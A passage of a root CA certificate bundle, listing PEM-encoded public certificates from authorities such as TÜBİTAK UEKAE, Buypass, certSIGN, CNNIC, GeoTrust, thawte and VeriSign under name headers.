xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw= -----END CERTIFICATE----- T\xc3\x9c\x42\xC4\xB0TAK UEKAE K\xC3\xB6k Sertifika Hizmet Sa\xC4\x9Flay\xc4\xb1\x63\xc4\xb1s\xc4\xb1 - S\xC3\xBCr\xC3\xBCm 3 ============================================================================================================================= -----BEGIN CERTIFICATE----- MIIFFzCCA/+gAwIBAgIBETANBgkqhkiG9w0BAQUFADCCASsxCzAJBgNVBAYTAlRSMRgwFgYDVQQH DA9HZWJ6ZSAtIEtvY2FlbGkxRzBFBgNVBAoMPlTDvHJraXllIEJpbGltc2VsIHZlIFRla25vbG9q aWsgQXJhxZ90xLFybWEgS3VydW11IC0gVMOcQsSwVEFLMUgwRgYDVQQLDD9VbHVzYWwgRWxla3Ry b25payB2ZSBLcmlwdG9sb2ppIEFyYcWfdMSxcm1hIEVuc3RpdMO8c8O8IC0gVUVLQUUxIzAhBgNV BAsMGkthbXUgU2VydGlmaWthc3lvbiBNZXJrZXppMUowSAYDVQQDDEFUw5xCxLBUQUsgVUVLQUUg S8O2ayBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsSAtIFPDvHLDvG0gMzAeFw0wNzA4 MjQxMTM3MDdaFw0xNzA4MjExMTM3MDdaMIIBKzELMAkGA1UEBhMCVFIxGDAWBgNVBAcMD0dlYnpl IC0gS29jYWVsaTFHMEUGA1UECgw+VMO8cmtpeWUgQmlsaW1zZWwgdmUgVGVrbm9sb2ppayBBcmHF n3TEsXJtYSBLdXJ1bXUgLSBUw5xCxLBUQUsxSDBGBgNVBAsMP1VsdXNhbCBFbGVrdHJvbmlrIHZl IEtyaXB0b2xvamkgQXJhxZ90xLFybWEgRW5zdGl0w7xzw7wgLSBVRUtBRTEjMCEGA1UECwwaS2Ft dSBTZXJ0aWZpa2FzeW9uIE1lcmtlemkxSjBIBgNVBAMMQVTDnELEsFRBSyBVRUtBRSBLw7ZrIFNl cnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxIC0gU8O8csO8bSAzMIIBIjANBgkqhkiG9w0B AQEFAAOCAQ8AMIIBCgKCAQEAim1L/xCIOsP2fpTo6iBkcK4hgb46ezzb8R1Sf1n68yJMlaCQvEhO Eav7t7WNeoMojCZG2E6VQIdhn8WebYGHV2yKO7Rm6sxA/OOqbLLLAdsyv9Lrhc+hDVXDWzhXcLh1 xnnRFDDtG1hba+818qEhTsXOfJlfbLm4IpNQp81McGq+agV/E5wrHur+R84EpW+sky58K5+eeROR 6Oqeyjh1jmKwlZMq5d/pXpduIF9fhHpEORlAHLpVK/swsoHvhOPc7Jg4OQOFCKlUAwUp8MmPi+oL hmUZEdPpCSPeaJMDyTYcIW7OjGbxmTDY17PDHfiBLqi9ggtm/oLL4eAagsNAgQIDAQABo0IwQDAd BgNVHQ4EFgQUvYiHyY/2pAoLquvF/pEjnatKijIwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQF MAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAB18+kmPNOm3JpIWmgV050vQbTlswyb2zrgxvMTfvCr4 N5EY3ATIZJkrGG2AA1nJrvhY0D7twyOfaTyGOBye79oneNGEN3GKPEs5z35FBtYt2IpNeBLWrcLT y9LQQfMmNkqblWwM7uXRQydmwYj3erMgbOqwaSvHIOgMA8RBBZniP+Rr+KCGgceExh/VS4ESshYh LBOhgLJeDEoTniDYYkCrkOpkSi+sDQESeUWoL4cZaMjihccwsnX5OD+ywJO0a+IDRM5noN+J1q2M dqMTw5RhK2vZbMEHCiIHhWyFJEapvj+LeISCfiQMnf2BN+MlqO02TpUsyZyQ2uypQjyttgI= -----END CERTIFICATE----- Buypass Class 2 CA 1 ==================== -----BEGIN CERTIFICATE----- MIIDUzCCAjugAwIBAgIBATANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3MgQ2xhc3MgMiBDQSAxMB4XDTA2 MTAxMzEwMjUwOVoXDTE2MTAxMzEwMjUwOVowSzELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBh c3MgQVMtOTgzMTYzMzI3MR0wGwYDVQQDDBRCdXlwYXNzIENsYXNzIDIgQ0EgMTCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAIs8B0XY9t/mx8q6jUPFR42wWsE425KEHK8T1A9vNkYgxC7M cXA0ojTTNy7Y3Tp3L8DrKehc0rWpkTSHIln+zNvnma+WwajHQN2lFYxuyHyXA8vmIPLXl18xoS83 0r7uvqmtqEyeIWZDO6i88wmjONVZJMHCR3axiFyCO7srpgTXjAePzdVBHfCuuCkslFJgNJQ72uA4 0Z0zPhX0kzLFANq1KWYOOngPIVJfAuWSeyXTkh4vFZ2B5J2O6O+JzhRMVB0cgRJNcKi+EAUXfh/R uFdV7c27UsKwHnjCTTZoy1YmwVLBvXb3WNVyfh9EdrsAiR0WnVE1703CVu9r4Iw7DekCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUP42aWYv8e3uco684sDntkHGA1sgwDgYDVR0P AQH/BAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQAVGn4TirnoB6NLJzKyQJHyIdFkhb5jatLPgcIV 1Xp+DCmsNx4cfHZSldq1fyOhKXdlyTKdqC5Wq2B2zha0jX94wNWZUYN/Xtm+DKhQ7SLHrQVMdvvt 7h5HZPb3J31cKA9FxVxiXqaakZG3Uxcu3K1gnZZkOb1naLKuBctN518fV4bVIJwo+28TOPX2EZL2 fZleHwzoq0QkKXJAPTZSr4xYkHPB7GEseaHsh7U/2k3ZIQAw3pDaDtMaSKk+hQsUi4y8QZ5q9w5w wDX3OaJdZtB7WZ+oRxKaJyOkLY4ng5IgodcVf/EuGO70SH8vf/GhGLWhC5SgYiAynB321O+/TIho -----END CERTIFICATE----- Buypass Class 3 CA 1 ==================== -----BEGIN CERTIFICATE----- MIIDUzCCAjugAwIBAgIBAjANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3MgQ2xhc3MgMyBDQSAxMB4XDTA1 MDUwOTE0MTMwM1oXDTE1MDUwOTE0MTMwM1owSzELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBh c3MgQVMtOTgzMTYzMzI3MR0wGwYDVQQDDBRCdXlwYXNzIENsYXNzIDMgQ0EgMTCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAKSO13TZKWTeXx+HgJHqTjnmGcZEC4DVC69TB4sSveZn8AKx ifZgisRbsELRwCGoy+Gb72RRtqfPFfV0gGgEkKBYouZ0plNTVUhjP5JW3SROjvi6K//zNIqeKNc0 n6wv1g/xpC+9UrJJhW05NfBEMJNGJPO251P7vGGvqaMU+8IXF4Rs4HyI+MkcVyzwPX6UvCWThOia AJpFBUJXgPROztmuOfbIUxAMZTpHe2DC1vqRycZxbL2RhzyRhkmr8w+gbCZ2Xhysm3HljbybIR6c 1jh+JIAVMYKWsUnTYjdbiAwKYjT+p0h+mbEwi5A3lRyoH6UsjfRVyNvdWQrCrXig9IsCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUOBTmyPCppAP0Tj4io1vy1uCtQHQwDgYDVR0P AQH/BAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQABZ6OMySU9E2NdFm/soT4JXJEVKirZgCFPBdy7 pYmrEzMqnji3jG8CcmPHc3ceCQa6Oyh7pEfJYWsICCD8igWKH7y6xsL+z27sEzNxZy5p+qksP2bA EllNC1QCkoS72xLvg3BweMhT+t/Gxv/ciC8HwEmdMldg0/L2mSlf56oBzKwzqBwKu5HEA6BvtjT5 htOzdlSY9EqBs1OdTUDs5XcTRa9bqh/YL0yCe/4qxFi7T/ye/QNlGioOw6UgFpRreaaiErS7GqQj el/wroQk5PMr+4okoyeYZdowdXb8GZHo2+ubPzK/QJcHJrrM85SFSnonk8+QQtS4Wxam58tAA915 -----END CERTIFICATE----- EBG Elektronik Sertifika Hizmet Sa\xC4\x9Flay\xc4\xb1\x63\xc4\xb1s\xc4\xb1 ========================================================================== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- certSIGN ROOT CA ================ -----BEGIN CERTIFICATE----- MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYTAlJPMREwDwYD VQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTAeFw0wNjA3MDQxNzIwMDRa Fw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UE CxMQY2VydFNJR04gUk9PVCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7I JUqOtdu0KBuqV5Do0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHH rfAQUySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5dRdY4zTW2 ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQOA7+j0xbm0bqQfWwCHTD 0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwvJoIQ4uNllAoEwF73XVv4EOLQunpL+943 AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B Af8EBAMCAcYwHQYDVR0OBBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IB AQA+0hyJLjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecYMnQ8 SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ44gx+FkagQnIl6Z0 x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6IJd1hJyMctTEHBDa0GpC9oHRxUIlt vBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNwi/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7Nz TogVZ96edhBiIL5VaZVDADlN9u6wWk5JRFRYX0KD -----END CERTIFICATE----- CNNIC ROOT ========== -----BEGIN CERTIFICATE----- MIIDVTCCAj2gAwIBAgIESTMAATANBgkqhkiG9w0BAQUFADAyMQswCQYDVQQGEwJDTjEOMAwGA1UE ChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1QwHhcNMDcwNDE2MDcwOTE0WhcNMjcwNDE2MDcw OTE0WjAyMQswCQYDVQQGEwJDTjEOMAwGA1UEChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1Qw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDTNfc/c3et6FtzF8LRb+1VvG7q6KR5smzD o+/hn7E7SIX1mlwhIhAsxYLO2uOabjfhhyzcuQxauohV3/2q2x8x6gHx3zkBwRP9SFIhxFXf2tiz VHa6dLG3fdfA6PZZxU3Iva0fFNrfWEQlMhkqx35+jq44sDB7R3IJMfAw28Mbdim7aXZOV/kbZKKT VrdvmW7bCgScEeOAH8tjlBAKqeFkgjH5jCftppkA9nCTGPihNIaj3XrCGHn2emU1z5DrvTOTn1Or czvmmzQgLx3vqR1jGqCA2wMv+SYahtKNu6m+UjqHZ0gNv7Sg2Ca+I19zN38m5pIEo3/PIKe38zrK y5nLAgMBAAGjczBxMBEGCWCGSAGG+EIBAQQEAwIABzAfBgNVHSMEGDAWgBRl8jGtKvf33VKWCscC wQ7vptU7ETAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIB/jAdBgNVHQ4EFgQUZfIxrSr3991S lgrHAsEO76bVOxEwDQYJKoZIhvcNAQEFBQADggEBAEs17szkrr/Dbq2flTtLP1se31cpolnKOOK5 Gv+e5m4y3R6u6jW39ZORTtpC4cMXYFDy0VwmuYK36m3knITnA3kXr5g9lNvHugDnuL8BV8F3RTIM O/G0HAiw/VGgod2aHRM2mm23xzy54cXZF/qD1T0VoDy7HgviyJA/qIYM/PmLXoXLT1tLYhFHxUV8 BS9BsZ4QaRuZluBVeftOhpm4lNqGOGqTo+fLbuXf6iFViZx9fX+Y9QCJ7uOEwFyWtcVG6kbghVW2 G8kS1sHNzYDzAgE8yGnLRUhj2JTQ7IUOO04RZfSCjKY9ri4ilAnIXOo8gV0WKgOXFlUJ24pBgp5m mxE= -----END CERTIFICATE----- ApplicationCA - Japanese Government =================================== -----BEGIN CERTIFICATE----- MIIDoDCCAoigAwIBAgIBMTANBgkqhkiG9w0BAQUFADBDMQswCQYDVQQGEwJKUDEcMBoGA1UEChMT SmFwYW5lc2UgR292ZXJubWVudDEWMBQGA1UECxMNQXBwbGljYXRpb25DQTAeFw0wNzEyMTIxNTAw MDBaFw0xNzEyMTIxNTAwMDBaMEMxCzAJBgNVBAYTAkpQMRwwGgYDVQQKExNKYXBhbmVzZSBHb3Zl cm5tZW50MRYwFAYDVQQLEw1BcHBsaWNhdGlvbkNBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAp23gdE6Hj6UG3mii24aZS2QNcfAKBZuOquHMLtJqO8F6tJdhjYq+xpqcBrSGUeQ3DnR4 fl+Kf5Sk10cI/VBaVuRorChzoHvpfxiSQE8tnfWuREhzNgaeZCw7NCPbXCbkcXmP1G55IrmTwcrN wVbtiGrXoDkhBFcsovW8R0FPXjQilbUfKW1eSvNNcr5BViCH/OlQR9cwFO5cjFW6WY2H/CPek9AE jP3vbb3QesmlOmpyM8ZKDQUXKi17safY1vC+9D/qDihtQWEjdnjDuGWk81quzMKq2edY3rZ+nYVu nyoKb58DKTCXKB28t89UKU5RMfkntigm/qJj5kEW8DOYRwIDAQABo4GeMIGbMB0GA1UdDgQWBBRU WssmP3HMlEYNllPqa0jQk/5CdTAOBgNVHQ8BAf8EBAMCAQYwWQYDVR0RBFIwUKROMEwxCzAJBgNV BAYTAkpQMRgwFgYDVQQKDA/ml6XmnKzlm73mlL/lupwxIzAhBgNVBAsMGuOCouODl+ODquOCseOD vOOCt+ODp+ODs0NBMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADlqRHZ3ODrs o2dGD/mLBqj7apAxzn7s2tGJfHrrLgy9mTLnsCTWw//1sogJhyzjVOGjprIIC8CFqMjSnHH2HZ9g /DgzE+Ge3Atf2hZQKXsvcJEPmbo0NI2VdMV+eKlmXb3KIXdCEKxmJj3ekav9FfBv7WxfEPjzFvYD io+nEhEMy/0/ecGc/WLuo89UDNErXxc+4z6/wCs+CZv+iKZ+tJIX/COUgb1up8WMwusRRdv4QcmW dupwX3kSa+SjB1oF7ydJzyGfikwJcGapJsErEU4z0g781mzSDjJkaP+tBXhfAx2o45CsJOAPQKdL rosot4LKGAfmt1t06SAZf7IbiVQ= -----END CERTIFICATE----- GeoTrust Primary Certification Authority - G3 ============================================= -----BEGIN CERTIFICATE----- MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0 IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr 2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9 cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt -----END CERTIFICATE----- thawte Primary Root CA - G2 =========================== -----BEGIN CERTIFICATE----- MIICiDCCAg2gAwIBAgIQNfwmXNmET8k9Jj1Xm67XVjAKBggqhkjOPQQDAzCBhDELMAkGA1UEBhMC VVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjE4MDYGA1UECxMvKGMpIDIwMDcgdGhhd3RlLCBJbmMu IC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3Qg Q0EgLSBHMjAeFw0wNzExMDUwMDAwMDBaFw0zODAxMTgyMzU5NTlaMIGEMQswCQYDVQQGEwJVUzEV MBMGA1UEChMMdGhhd3RlLCBJbmMuMTgwNgYDVQQLEy8oYykgMjAwNyB0aGF3dGUsIEluYy4gLSBG b3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIGA1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAt IEcyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEotWcgnuVnfFSeIf+iha/BebfowJPDQfGAFG6DAJS LSKkQjnE/o/qycG+1E3/n3qe4rF8mq2nhglzh9HnmuN6papu+7qzcMBniKI11KOasf2twu8x+qi5 8/sIxpHR+ymVo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU mtgAMADna3+FGO6Lts6KDPgR4bswCgYIKoZIzj0EAwMDaQAwZgIxAN344FdHW6fmCsO99YCKlzUN G4k8VIZ3KMqh9HneteY4sPBlcIx/AlTCv//YoT7ZzwIxAMSNlPzcU9LcnXgWHxUzI1NS41oxXZ3K rr0TKUQNJ1uo52icEvdYPy5yAlejj6EULg== -----END CERTIFICATE----- thawte Primary Root CA - G3 =========================== -----BEGIN CERTIFICATE----- MIIEKjCCAxKgAwIBAgIQYAGXt0an6rS0mtZLL/eQ+zANBgkqhkiG9w0BAQsFADCBrjELMAkGA1UE BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDggdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EgLSBHMzAeFw0w ODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhh d3RlLCBJbmMuMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMTgwNgYD VQQLEy8oYykgMjAwOCB0aGF3dGUsIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIG A1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAtIEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEAsr8nLPvb2FvdeHsbnndmgcs+vHyu86YnmjSjaDFxODNi5PNxZnmxqWWjpYvVj2At P0LMqmsywCPLLEHd5N/8YZzic7IilRFDGF/Eth9XbAoFWCLINkw6fKXRz4aviKdEAhN0cXMKQlkC +BsUa0Lfb1+6a4KinVvnSr0eAXLbS3ToO39/fR8EtCab4LRarEc9VbjXsCZSKAExQGbY2SS99irY 7CFJXJv2eul/VTV+lmuNk5Mny5K76qxAwJ/C+IDPXfRa3M50hqY+bAtTyr2SzhkGcuYMXDhpxwTW vGzOW/b3aJzcJRVIiKHpqfiYnODz1TEoYRFsZ5aNOZnLwkUkOQIDAQABo0IwQDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUrWyqlGCc7eT/+j4KdCtjA/e2Wb8wDQYJ KoZIhvcNAQELBQADggEBABpA2JVlrAmSicY59BDlqQ5mU1143vokkbvnRFHfxhY0Cu9qRFHqKweK A3rD6z8KLFIWoCtDuSWQP3CpMyVtRRooOyfPqsMpQhvfO0zAMzRbQYi/aytlryjvsvXDqmbOe1bu t8jLZ8HJnBoYuMTDSQPxYA5QzUbF83d597YV4Djbxy8ooAw/dyZ02SUS2jHaGh7cKUGRIjxpp7sC 8rZcJwOJ9Abqm+RyguOhCcHpABnTPtRwa7pxpqpYrvS76Wy274fMm7v/OeZWYdMKp8RcTGB7BXcm er/YB1IsYvdwY9k5vG8cwnncdimvzsUsZAReiDZuMdRAGmI0Nj81Aa6sY6A= -----END CERTIFICATE----- GeoTrust Primary Certification Authority - G2 ============================================= -----BEGIN CERTIFICATE----- MIICrjCCAjWgAwIBAgIQPLL0SAoA4v7rJDteYD7DazAKBggqhkjOPQQDAzCBmDELMAkGA1UEBhMC VVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA3IEdlb1RydXN0IElu Yy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMB4XDTA3MTEwNTAwMDAwMFoXDTM4MDExODIzNTk1 OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAoYykg MjAwNyBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMTLUdl b1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjB2MBAGByqGSM49AgEG BSuBBAAiA2IABBWx6P0DFUPlrOuHNxFi79KDNlJ9RVcLSo17VDs6bl8VAsBQps8lL33KSLjHUGMc KiEIfJo22Av+0SbFWDEwKCXzXV2juLaltJLtbCyf691DiaI8S0iRHVDsJt/WYC69IaNCMEAwDwYD VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBVfNVdRVfslsq0DafwBo/q+ EVXVMAoGCCqGSM49BAMDA2cAMGQCMGSWWaboCd6LuvpaiIjwH5HTRqjySkwCY/tsXzjbLkGTqQ7m ndwxHLKgpxgceeHHNgIwOlavmnRs9vuD4DPTCF+hnMJbn0bWtsuRBmOiBuczrD6ogRLQy7rQkgu2 npaqBA+K -----END CERTIFICATE----- VeriSign Universal Root Certification Authority =============================================== -----BEGIN CERTIFICATE----- MIIEuTCCA6GgAwIBAgIQQBrEZCGzEyEDDrvkEhrFHTANBgkqhkiG9w0BAQsFADCBvTELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO 